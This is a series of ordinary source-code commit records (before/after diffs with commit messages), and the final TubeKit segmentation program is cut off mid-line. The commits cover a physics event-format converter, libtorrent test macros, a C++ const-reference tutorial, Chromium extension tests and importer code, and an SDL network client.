     \/\/Not implemented in NEUT\n      (void)outRooTracker->StdHepX4[saveInd][kNStdHepIdxX];\n      (void)outRooTracker->StdHepX4[saveInd][kNStdHepIdxY];\n      (void)outRooTracker->StdHepX4[saveInd][kNStdHepIdxZ];\n      (void)outRooTracker->StdHepX4[saveInd][kNStdHepIdxT];\n      (void)outRooTracker->StdHepPolz[saveInd][kNStdHepIdxPx];\n      (void)outRooTracker->StdHepPolz[saveInd][kNStdHepIdxPy];\n      (void)outRooTracker->StdHepPolz[saveInd][kNStdHepIdxPz];\n      (void)outRooTracker->StdHepPolz[saveInd][kNStdHepIdxE];\n    }\n\n    \/\/**************************************************\n    \/\/NEUT VCWork Particles\n    \/\/Not yet implemented.\n    outRooTracker->NEnvc = 1;\n    for(int i = 0; i < outRooTracker->NEnvc; ++i){\n      (void)outRooTracker->NEpvc[i];\n      (void)outRooTracker->NEiorgvc[i];\n      (void)outRooTracker->NEiflgvc[i];\n      (void)outRooTracker->NEicrnvc[i];\n    }\n\n    \/\/**************************************************\n    \/\/NEUT Pion FSI interaction history\n    \/\/Not yet implemented\n    outRooTracker->NEnvert = 1;\n\n    for(int i = 0; i < outRooTracker->NEnvert; ++i){\n      (void)outRooTracker->NEposvert[i];\n      (void)outRooTracker->NEiflgvert[i];\n    }\n\n    outRooTracker->NEnvcvert = 1;\n    for(int i = 0; i < outRooTracker->NEnvcvert; ++i){\n      (void)outRooTracker->NEdirvert[i];\n      (void)outRooTracker->NEabspvert[i];\n      (void)outRooTracker->NEabstpvert[i];\n      (void)outRooTracker->NEipvert[i];\n      (void)outRooTracker->NEiverti[i];\n      (void)outRooTracker->NEivertf[i];\n    }\n\n    \/\/**************************************************\n    \/\/NEUT Nucleon FSI interaction history\n    \/\/Not yet implemented\n    outRooTracker->NFnvert = 1;\n    (void)outRooTracker->NFiflag[0];\n    (void)outRooTracker->NFx[0];\n    (void)outRooTracker->NFy[0];\n    (void)outRooTracker->NFz[0];\n    (void)outRooTracker->NFpx[0];\n    (void)outRooTracker->NFpy[0];\n    (void)outRooTracker->NFpz[0];\n    (void)outRooTracker->NFe[0];\n    (void)outRooTracker->NFfirststep[0];\n\n    outRooTracker->NFnstep = 1;\n    (void)outRooTracker->NFecms2[0];\n\n    rooTrackerTree->Fill();\n    FilledEntries++;\n    if(verbosity > 1){\n      std::cout << \"*****************Filled*****************\\n\" << std::endl;\n    }\n    outRooTracker->Reset();\n  }\n  std::cout << \"Wrote \" << FilledEntries << \" events to disk.\" << std::endl;\n  rooTrackerTree->Write();\n  outFile->Close();\n  return 0;\n}\n\nnamespace {\n\nvoid SetOpts(){\n  CLIArgs::OptSpec.emplace_back(\"-h\",\"--help\", false,\n    [&] (std::string const &opt) -> bool {\n      CLIArgs::SayRunLike();\n      exit(0);\n    });\n\n  CLIArgs::OptSpec.emplace_back(\"-i\", \"--input-file\", true,\n    [&] (std::string const &opt) -> bool {\n      std::cout << \"\\t--Reading from file descriptor : \" << opt << std::endl;\n      inpfdescript = opt;\n      return true;\n    }, true,[](){},\"<TChain::Add descriptor>\");\n\n  CLIArgs::OptSpec.emplace_back(\"-o\", \"--output-file\", true,\n    [&] (std::string const &opt) -> bool {\n      std::cout << \"\\t--Writing to File: \" << opt << std::endl;\n      outfname = opt;\n      return true;\n    }, false,\n    [&](){outfname = \"vector.ntrac.root\";},\n    \"<File Name>{default=vector.ntrac.root}\");\n\n  CLIArgs::OptSpec.emplace_back(\"-n\", \"--nentries\", true,\n    [&] (std::string const &opt) -> bool {\n      long vbhold;\n      if(PGUtils::str2int(vbhold,opt.c_str()) == PGUtils::STRINT_SUCCESS){\n        if(vbhold != -1){\n          std::cout << \"\\t--Looking at, at most, \" << vbhold << \" entries.\"\n            << std::endl;\n        }\n        MaxEntries = vbhold;\n        return true;\n      }\n      return false;\n    }, false,\n    [&](){MaxEntries = -1;}, \"<-1>: Read all {default=-1}\");\n\n  CLIArgs::OptSpec.emplace_back(\"-v\", \"--verbosity\", true,\n    [&] (std::string const &opt) -> bool {\n      int vbhold;\n      if(PGUtils::str2int(vbhold,opt.c_str()) == PGUtils::STRINT_SUCCESS){\n        std::cout << \"\\t--Verbosity: \" << vbhold << std::endl;\n        verbosity = vbhold;\n        return true;\n      }\n      return false;\n    }, false,\n    [&](){verbosity = 0;}, \"<0-4>{default=0}\");\n\n  CLIArgs::OptSpec.emplace_back(\"-s\", \"--simple-tree\", false,\n    [&] (std::string const &opt) -> bool {\n      std::cout << \"\\t--Using simple tree.\" << std::endl;\n      useSimpleTree = true;\n      return true;\n    }, false,\n    [&](){useSimpleTree = false;}, \"Only output StdHep.\");\n\n  CLIArgs::OptSpec.emplace_back(\"-G\", \"--GeV-mode\", false,\n    [&] (std::string const &opt) -> bool {\n      std::cout << \"\\t--Outputting in GeV.\" << std::endl;\n      OutputInGev = true;\n      return true;\n    }, false,\n    [&](){OutputInGev = false;}, \"Use GeV rather than MeV.\");\n\n  CLIArgs::OptSpec.emplace_back(\"-O\", \"--objectify-output\", false,\n    [&] (std::string const &opt) -> bool {\n      std::cout << \"\\t--Using simple tree.\" << std::endl;\n      ObjectOutput = true;\n      return true;\n    }, false,\n    [&](){ObjectOutput = false;}, \"Output object tree.\");\n\n  CLIArgs::OptSpec.emplace_back(\"-b\", \"--save-isbound\", false,\n    [&] (std::string const &opt) -> bool {\n      std::cout << \"\\t--Adding IsBound branch to output tree.\" << std::endl;\n      SaveIsBound = true;\n      return true;\n    }, false,\n    [&](){SaveIsBound = false;}, \"Output IsBound Branch\");\n}\n}\n\nint main(int argc, char const * argv[]){\n  SetOpts();\n\n  CLIArgs::AddArguments(argc,argv);\n  if(!CLIArgs::GetOpts()){\n    CLIArgs::SayRunLike();\n    return 1;\n  }\n\n  int rtncode = 0;\n  if((rtncode = NeutToRooTracker(inpfdescript.c_str()))){\n    CLIArgs::SayRunLike();\n  }\n  return rtncode;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\nCopyright (c) 2008, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TEST_HPP\n#define TEST_HPP\n\nvoid report_failure(char const* str, char const* file, int line);\n\n#if defined(_MSC_VER)\n#define COUNTER_GUARD(x)\n#else\n#define COUNTER_GUARD(type) \\\n    struct BOOST_PP_CAT(type, _counter_guard) \\\n    { \\\n        ~BOOST_PP_CAT(type, _counter_guard()) \\\n        { \\\n            TEST_CHECK(counted_type<type>::count == 0); \\\n        } \\\n    } BOOST_PP_CAT(type, _guard)\n#endif\n\n#define TEST_REPORT_AUX(x, line, file) \\\n\treport_failure(x, line, file)\n\n#define TEST_CHECK(x) \\\n    if (!(x)) \\\n        TEST_REPORT_AUX(\"TEST_CHECK failed: \\\"\" #x \"\\\"\", __FILE__, __LINE__)\n\n#define TEST_ERROR(x) \\\n\tTEST_REPORT_AUX((std::string(\"ERROR: \\\"\") + x + \"\\\"\").c_str(), __FILE__, __LINE__)\n\n#define TEST_NOTHROW(x) \\\n\ttry \\\n\t{ \\\n\t\tx; \\\n\t} \\\n\tcatch (...) \\\n\t{ \\\n\t\tTEST_ERROR(\"Exception thrown: \" #x); \\\n\t}\n\n#endif \/\/ TEST_HPP\n\n<commit_msg>catch exceptions from TEST_CHECK<commit_after>\/*\n\nCopyright (c) 2008, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TEST_HPP\n#define TEST_HPP\n\nvoid report_failure(char const* str, char const* file, int line);\n\n#if defined(_MSC_VER)\n#define COUNTER_GUARD(x)\n#else\n#define COUNTER_GUARD(type) \\\n    struct BOOST_PP_CAT(type, _counter_guard) \\\n    { \\\n        ~BOOST_PP_CAT(type, _counter_guard()) \\\n        { \\\n            TEST_CHECK(counted_type<type>::count == 0); \\\n        } \\\n    } BOOST_PP_CAT(type, _guard)\n#endif\n\n#define TEST_REPORT_AUX(x, line, file) \\\n\treport_failure(x, line, file)\n\n#define TEST_CHECK(x) \\\n\ttry \\\n\t{ \\\n\t\tif (!(x)) \\\n\t\t\tTEST_REPORT_AUX(\"TEST_CHECK failed: \\\"\" #x \"\\\"\", __FILE__, __LINE__); \\\n\t} \\\n\tcatch (std::exception& e) \\\n\t{ \\\n\t\tTEST_ERROR(\"Exception thrown: \" #x \" :\" + std::string(e.what())); \\\n\t} \\\n\tcatch (...) \\\n\t{ \\\n\t\tTEST_ERROR(\"Exception thrown: \" #x); \\\n\t}\n\n#define TEST_ERROR(x) \\\n\tTEST_REPORT_AUX((std::string(\"ERROR: \\\"\") + x + \"\\\"\").c_str(), __FILE__, __LINE__)\n\n#define TEST_NOTHROW(x) \\\n\ttry \\\n\t{ \\\n\t\tx; \\\n\t} \\\n\tcatch (...) \\\n\t{ \\\n\t\tTEST_ERROR(\"Exception thrown: \" #x); \\\n\t}\n\n#endif \/\/ TEST_HPP\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>n#827332: Charts shrink when there are no legends.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/**\n * @Author Bob\n * @Eamil 0haizhu0@gmail.com\n * @Date 2017\/7\/6\n *\/\n\n<commit_msg>2.4.1 常量引用<commit_after>#include <iostream>\n\n\/**\n * @Author Bob\n * @Eamil 0haizhu0@gmail.com\n * @Date 2017\/7\/6\n *\/\nint main() {\n\n  \/**\n   * 可以把引用绑定到const对象上，就像绑定到其他对象上一样，我们称之为对常量的引用。\n   * 引用初始化之后不能被修改，而常量引用既可以指向常量，又可以指向非常量。\n   *\/\n  int i = 42;\n  int &r1 = i; \/\/ 引用r1绑定对象i\n  const int &i2 = i; \/\/ r2也绑定对象i，但是不允许通过r2修改i的值\n  std::cout << &r1 << \" => \" << r1 << \" => \" << i << std::endl;\n  r1 = 0; \/\/ r1 并非常量，i的值修改为0\n\/\/  r2 = 0; \/\/ 错误：r2 是一个常量引用\n  std::cout << &r1 << \" => \" << r1 << \" => \" << i << std::endl;\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest,\n                       ExtensionPointerLockAccessFail) {\n  \/\/ Test that pointer lock cannot be accessed from an extension without\n  \/\/ permission.\n  ASSERT_TRUE(RunPlatformAppTest(\"pointer_lock\/no_permission\")) << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest,\n                       ExtensionPointerLockAccessPass) {\n  \/\/ Test that pointer lock can be accessed from an extension with permission.\n  ASSERT_TRUE(RunPlatformAppTest(\"pointer_lock\/has_permission\")) << message_;\n}\n<commit_msg>Disable test that is failing on linux trybots.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest,\n                       ExtensionPointerLockAccessFail) {\n  \/\/ Test that pointer lock cannot be accessed from an extension without\n  \/\/ permission.\n  ASSERT_TRUE(RunPlatformAppTest(\"pointer_lock\/no_permission\")) << message_;\n}\n\n\/\/ http:\/\/crbug.com\/223447\n#if defined(OS_LINUX)\n#define MAYBE_ExtensionPointerLockAccessPass \\\n    DISABLED_ExtensionPointerLockAccessPass\n#else\n#define MAYBE_ExtensionPointerLockAccessPass ExtensionPointerLockAccessPass\n#endif\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest,\n                       MAYBE_ExtensionPointerLockAccessPass) {\n  \/\/ Test that pointer lock can be accessed from an extension with permission.\n  ASSERT_TRUE(RunPlatformAppTest(\"pointer_lock\/has_permission\")) << message_;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/importer\/external_process_importer_bridge.h\"\n\n#include \"base\/logging.h\"\n#include \"base\/string_number_conversions.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"base\/values.h\"\n#include \"chrome\/browser\/history\/history_types.h\"\n#include \"chrome\/profile_import\/profile_import_thread.h\"\n#include \"webkit\/glue\/password_form.h\"\n\n#if defined(OS_WIN)\n#include \"chrome\/browser\/password_manager\/ie7_password.h\"\n#endif\n\nExternalProcessImporterBridge::ExternalProcessImporterBridge(\n    ProfileImportThread* profile_import_thread,\n    const DictionaryValue& localized_strings)\n    : profile_import_thread_(profile_import_thread) {\n  \/\/ Bridge needs to make its own copy because OS 10.6 autoreleases the\n  \/\/ localized_strings value that is passed in (see http:\/\/crbug.com\/46003 ).\n  localized_strings_.reset(localized_strings.DeepCopy());\n}\n\nvoid ExternalProcessImporterBridge::AddBookmarkEntries(\n    const std::vector<ProfileWriter::BookmarkEntry>& bookmarks,\n    const std::wstring& first_folder_name,\n    int options) {\n  profile_import_thread_->NotifyBookmarksImportReady(\n      bookmarks, first_folder_name, options);\n}\n\nvoid ExternalProcessImporterBridge::AddHomePage(const GURL &home_page) {\n  \/\/ TODO(mirandac): remove home page import from code base.\n  \/\/ http:\/\/crbug.com\/45678 :-)\n  NOTIMPLEMENTED();\n}\n\n#if defined(OS_WIN)\nvoid ExternalProcessImporterBridge::AddIE7PasswordInfo(\n    const IE7PasswordInfo password_info) {\n  NOTIMPLEMENTED();\n}\n#endif\n\nvoid ExternalProcessImporterBridge::SetFavicons(\n    const std::vector<history::ImportedFaviconUsage>& favicons) {\n  profile_import_thread_->NotifyFaviconsImportReady(favicons);\n}\n\nvoid ExternalProcessImporterBridge::SetHistoryItems(\n    const std::vector<history::URLRow>& rows,\n    history::VisitSource visit_source) {\n  profile_import_thread_->NotifyHistoryImportReady(rows, visit_source);\n}\n\nvoid ExternalProcessImporterBridge::SetKeywords(\n    const std::vector<TemplateURL*>& template_urls,\n    int default_keyword_index,\n    bool unique_on_host_and_path) {\n  profile_import_thread_->NotifyKeywordsReady(\n      template_urls, default_keyword_index, unique_on_host_and_path);\n}\n\nvoid ExternalProcessImporterBridge::SetPasswordForm(\n    const webkit_glue::PasswordForm& form) {\n  profile_import_thread_->NotifyPasswordFormReady(form);\n}\n\nvoid ExternalProcessImporterBridge::NotifyStarted() {\n  profile_import_thread_->NotifyStarted();\n}\n\nvoid ExternalProcessImporterBridge::NotifyItemStarted(\n    importer::ImportItem item) {\n  profile_import_thread_->NotifyItemStarted(item);\n}\n\nvoid ExternalProcessImporterBridge::NotifyItemEnded(importer::ImportItem item) {\n  profile_import_thread_->NotifyItemEnded(item);\n}\n\nvoid ExternalProcessImporterBridge::NotifyEnded() {\n  \/\/ The internal process detects import end when all items have been received.\n}\n\n\/\/ TODO(viettrungluu): convert to string16.\nstd::wstring ExternalProcessImporterBridge::GetLocalizedString(int message_id) {\n  string16 message;\n  localized_strings_->GetString(base::IntToString(message_id), &message);\n  return UTF16ToWideHack(message);\n}\n\nExternalProcessImporterBridge::~ExternalProcessImporterBridge() {}\n<commit_msg>importer: Remove an obsolete TODO comment.<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/importer\/external_process_importer_bridge.h\"\n\n#include \"base\/logging.h\"\n#include \"base\/string_number_conversions.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"base\/values.h\"\n#include \"chrome\/browser\/history\/history_types.h\"\n#include \"chrome\/profile_import\/profile_import_thread.h\"\n#include \"webkit\/glue\/password_form.h\"\n\n#if defined(OS_WIN)\n#include \"chrome\/browser\/password_manager\/ie7_password.h\"\n#endif\n\nExternalProcessImporterBridge::ExternalProcessImporterBridge(\n    ProfileImportThread* profile_import_thread,\n    const DictionaryValue& localized_strings)\n    : profile_import_thread_(profile_import_thread) {\n  \/\/ Bridge needs to make its own copy because OS 10.6 autoreleases the\n  \/\/ localized_strings value that is passed in (see http:\/\/crbug.com\/46003 ).\n  localized_strings_.reset(localized_strings.DeepCopy());\n}\n\nvoid ExternalProcessImporterBridge::AddBookmarkEntries(\n    const std::vector<ProfileWriter::BookmarkEntry>& bookmarks,\n    const std::wstring& first_folder_name,\n    int options) {\n  profile_import_thread_->NotifyBookmarksImportReady(\n      bookmarks, first_folder_name, options);\n}\n\nvoid ExternalProcessImporterBridge::AddHomePage(const GURL& home_page) {\n  NOTIMPLEMENTED();\n}\n\n#if defined(OS_WIN)\nvoid ExternalProcessImporterBridge::AddIE7PasswordInfo(\n    const IE7PasswordInfo password_info) {\n  NOTIMPLEMENTED();\n}\n#endif\n\nvoid ExternalProcessImporterBridge::SetFavicons(\n    const std::vector<history::ImportedFaviconUsage>& favicons) {\n  profile_import_thread_->NotifyFaviconsImportReady(favicons);\n}\n\nvoid ExternalProcessImporterBridge::SetHistoryItems(\n    const std::vector<history::URLRow>& rows,\n    history::VisitSource visit_source) {\n  profile_import_thread_->NotifyHistoryImportReady(rows, visit_source);\n}\n\nvoid ExternalProcessImporterBridge::SetKeywords(\n    const std::vector<TemplateURL*>& template_urls,\n    int default_keyword_index,\n    bool unique_on_host_and_path) {\n  profile_import_thread_->NotifyKeywordsReady(\n      template_urls, default_keyword_index, unique_on_host_and_path);\n}\n\nvoid ExternalProcessImporterBridge::SetPasswordForm(\n    const webkit_glue::PasswordForm& form) {\n  profile_import_thread_->NotifyPasswordFormReady(form);\n}\n\nvoid ExternalProcessImporterBridge::NotifyStarted() {\n  profile_import_thread_->NotifyStarted();\n}\n\nvoid ExternalProcessImporterBridge::NotifyItemStarted(\n    importer::ImportItem item) {\n  profile_import_thread_->NotifyItemStarted(item);\n}\n\nvoid ExternalProcessImporterBridge::NotifyItemEnded(importer::ImportItem item) {\n  profile_import_thread_->NotifyItemEnded(item);\n}\n\nvoid ExternalProcessImporterBridge::NotifyEnded() {\n  \/\/ The internal process detects import end when all items have been received.\n}\n\n\/\/ TODO(viettrungluu): convert to string16.\nstd::wstring ExternalProcessImporterBridge::GetLocalizedString(int message_id) {\n  string16 message;\n  localized_strings_->GetString(base::IntToString(message_id), &message);\n  return UTF16ToWideHack(message);\n}\n\nExternalProcessImporterBridge::~ExternalProcessImporterBridge() {}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * NetworkClient.cpp\n *\n *  Created on: 07.04.2016\n *      Author: Marc Hartung\n *\/\n\n#include \"..\/..\/include\/network_impl\/NetworkClient.hpp\"\n\n#include <iostream>\nnamespace NetOff\n{\n\n    NetworkClient::NetworkClient()\n            : NetworkMember()\n    {\n\n    }\n\n    NetworkClient::~NetworkClient()\n    {}\n\n    bool NetworkClient::initialize(const std::string& host, const int& port)\n    {\n        IPaddress ip;\n\t\tSDLNet_Init();\n\n        unsigned times = 0;\n\n\t\tif (SDLNet_ResolveHost(&ip, host.c_str(), port) == -1)\n\t\t{\n\t\t\tstd::cout << \"SDLNet_ResolveHost: \" << SDLNet_GetError() << std::endl;\n\t\t\treturn false;\n\t\t}\n\n        do\n        {\n            SDL_Delay(_sleepTime);\n            _socket = SDLNet_TCP_Open(&ip);\n\t\t\tstd::cout << \"wait for server on host \" << ip.host << \" and port \" << port << std::endl;\n\n        } while((_socket == nullptr || SDLNet_ResolveHost(&ip, host.c_str(), port) == -1) && (times++ <= (unsigned int)_numMaxSleeps));\n        if (SDLNet_ResolveHost(&ip, host.c_str(), port) == -1)\n        {\n\t\t\tstd::cout << \"SDLNet_ResolveHost: \" << SDLNet_GetError() << std::endl;\n\n            return false;\n        }\n\n        if (_socket == nullptr)\n        {\n\t\t\tstd::cout << \"no socket\" << std::endl;\n\n            return false;\n        }\n        return true;\n    }\n\n    void NetworkClient::deinitialize()\n    {\n        killSocket(_socket);\n    }\n\n} \/* namespace NetOff *\/\n<commit_msg>Adopt code style and improve output for user<commit_after>\/*\n * NetworkClient.cpp\n *\n *  Created on: 07.04.2016\n *      Author: Marc Hartung\n *\/\n\n#include \"..\/..\/include\/network_impl\/NetworkClient.hpp\"\n\n#include <iostream>\n\nnamespace NetOff\n{\n\n    NetworkClient::NetworkClient()\n            : NetworkMember()\n    {\n    }\n\n    NetworkClient::~NetworkClient()\n    {\n    }\n\n    bool NetworkClient::initialize(const std::string & host, const int & port)\n    {\n        IPaddress ip;\n        SDLNet_Init();\n\n        unsigned times = 0;\n\n        if (SDLNet_ResolveHost(&ip, host.c_str(), port) == -1)\n        {\n            std::cout << \"SDLNet_ResolveHost: \" << SDLNet_GetError() << std::endl;\n            return false;\n        }\n\n        do\n        {\n            SDL_Delay(_sleepTime);\n            _socket = SDLNet_TCP_Open(&ip);\n            std::cout << \"Waiting for server on host \" << ip.host << \" and port \" << port << \" ...\" << std::endl;\n\n        }\n        while ((_socket == nullptr || SDLNet_ResolveHost(&ip, host.c_str(), port) == -1) && (times++ <= (unsigned int) _numMaxSleeps));\n        if (SDLNet_ResolveHost(&ip, host.c_str(), port) == -1)\n        {\n            std::cout << \"SDLNet_ResolveHost: \" << SDLNet_GetError() << std::endl;\n\n            return false;\n        }\n\n        if (_socket == nullptr)\n        {\n            std::cout << \"no socket\" << std::endl;\n            return false;\n        }\n        return true;\n    }\n\n    void NetworkClient::deinitialize()\n    {\n        killSocket(_socket);\n    }\n\n} \/* namespace NetOff *\/\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\nLibrary:   TubeTK\n\nCopyright 2010 Kitware Inc. 28 Corporate Drive,\nClifton Park, NY, 12065, USA.\n\nAll rights reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\n=========================================================================*\/\n\n#include \"itktubeTubeExtractor.h\"\n#include \"tubeCLIFilterWatcher.h\"\n#include \"tubeCLIProgressReporter.h\"\n#include \"tubeMessage.h\"\n\n#include <itkImageFileReader.h>\n#include <itkImageFileWriter.h>\n#include <itkGroupSpatialObject.h>\n#include <itkSpatialObjectReader.h>\n#include <itkSpatialObjectWriter.h>\n#include <itkTimeProbesCollectorBase.h>\n\n#include \"SegmentTubesCLP.h\"\n\ntemplate< class TPixel, unsigned int VDimension >\nint DoIt( int argc, char * argv[] );\n\n\/\/ Must follow include of \"...CLP.h\" and\n\/\/   forward declaration of int DoIt( ... ).\n#include \"tubeCLIHelperFunctions.h\"\n\ntemplate< class TPixel, unsigned int VDimension >\nint DoIt( int argc, char * argv[] )\n{\n  PARSE_ARGS;\n\n  \/\/ The timeCollector is used to perform basic profiling of the components\n  \/\/   of your algorithm.\n  itk::TimeProbesCollectorBase timeCollector;\n\n  \/\/ CLIProgressReporter is used to communicate progress with the Slicer GUI\n  tube::CLIProgressReporter    progressReporter( \"RidgeExtractor\",\n    CLPProcessInformation );\n  progressReporter.Start();\n\n  typedef float                                         PixelType;\n  typedef itk::Image< PixelType, VDimension >           ImageType;\n  typedef itk::ImageFileReader< ImageType >             ReaderType;\n\n  typedef itk::tube::TubeExtractor< ImageType >         TubeOpType;\n  typedef typename TubeOpType::TubeMaskImageType        MaskImageType;\n  typedef itk::ImageFileReader< MaskImageType >         MaskReaderType;\n  typedef itk::ImageFileWriter< MaskImageType >         MaskWriterType;\n\n  typedef itk::SpatialObject< VDimension >              SpatialObjectType;\n  typedef typename SpatialObjectType::ChildrenListType  ObjectListType;\n  typedef itk::GroupSpatialObject< VDimension >         GroupType;\n  typedef itk::VesselTubeSpatialObject< VDimension >    TubeType;\n  typedef typename TubeType::PointListType              PointListType;\n  typedef typename TubeType::PointType                  PointType;\n  typedef typename TubeType::TubePointType              TubePointType;\n\n  typedef itk::SpatialObjectWriter< VDimension >        SpatialObjectWriterType;\n\n  timeCollector.Start(\"Load data\");\n  typename ReaderType::Pointer reader = ReaderType::New();\n  reader->SetFileName( inputVolume.c_str() );\n  try\n    {\n    reader->Update();\n    }\n  catch( itk::ExceptionObject & err )\n    {\n    tube::ErrorMessage( \"Reading volume: Exception caught: \"\n                        + std::string(err.GetDescription()) );\n    timeCollector.Report();\n    return EXIT_FAILURE;\n    }\n  timeCollector.Stop(\"Load data\");\n  double progress = 0.1;\n  progressReporter.Report( progress );\n\n  typename ImageType::Pointer inputImage = reader->GetOutput();\n\n  if( scale < 0.3 )\n    {\n    tube::ErrorMessage( \"Error: Scale < 0.3 is unsupported.\" );\n    return EXIT_FAILURE;\n    }\n\n  typename TubeOpType::Pointer tubeOp = TubeOpType::New();\n\n  tubeOp->SetInputImage( inputImage );\n  tubeOp->SetRadius( scale );\n\n  typedef itk::ContinuousIndex< double, VDimension >  seedIndexType;\n  typedef double                                      seedScaleType;\n  typedef std::vector< seedIndexType >                seedIndexListType;\n  typedef std::vector< seedScaleType >                seedScaleListType;\n\n  seedIndexType seedIndex;\n  seedIndexListType seedIndexList;\n\n  seedScaleListType seedScaleList;\n\n  seedIndexList.clear();\n  seedScaleList.clear();\n\n  if( !seedX.empty() )\n    {\n    for( unsigned int seedXNum=0; seedXNum<seedX.size(); ++seedXNum )\n      {\n      for( unsigned int i=0; i<seedX[seedXNum].size(); i++ )\n        {\n        std::cout << seedX[seedXNum][i] << \" \";\n        }\n      for( unsigned int i=0; i<VDimension; i++ )\n        {\n        seedIndex[i] = seedX[seedXNum][i];\n        }\n      seedIndexList.push_back( seedIndex );\n      seedScaleList.push_back( scale );\n      }\n    }\n\n  if( !seedPhysicalPoint.empty() )\n    {\n    for(size_t seedNum=0; seedNum<seedPhysicalPoint.size(); ++seedNum)\n      {\n      typename ImageType::PointType point;\n      for( unsigned int i=0; i<VDimension; i++ )\n        {\n        point[i] = seedPhysicalPoint[seedNum][i];\n        }\n\n      point[0]*=-1;\n      point[1]*=-1;\n\n      bool transformSuccess =\n        inputImage->TransformPhysicalPointToContinuousIndex(point, seedIndex);\n      if (!transformSuccess)\n        {\n        std::cerr<<\"Could not transform point #\"\n          <<seedNum<<\" to seed index.\"<<std::endl;\n        continue;\n        }\n\n      seedIndexList.push_back( seedIndex );\n      seedScaleList.push_back( scale );\n      }\n    }\n\n  if( !seedListFile.empty() )\n    {\n    std::ifstream readStream;\n    readStream.open( seedListFile.c_str(), std::ios::binary |\n      std::ios::in );\n    std::string line;\n    double seedScale;\n    while( std::getline( readStream, line ) )\n      {\n      std::istringstream 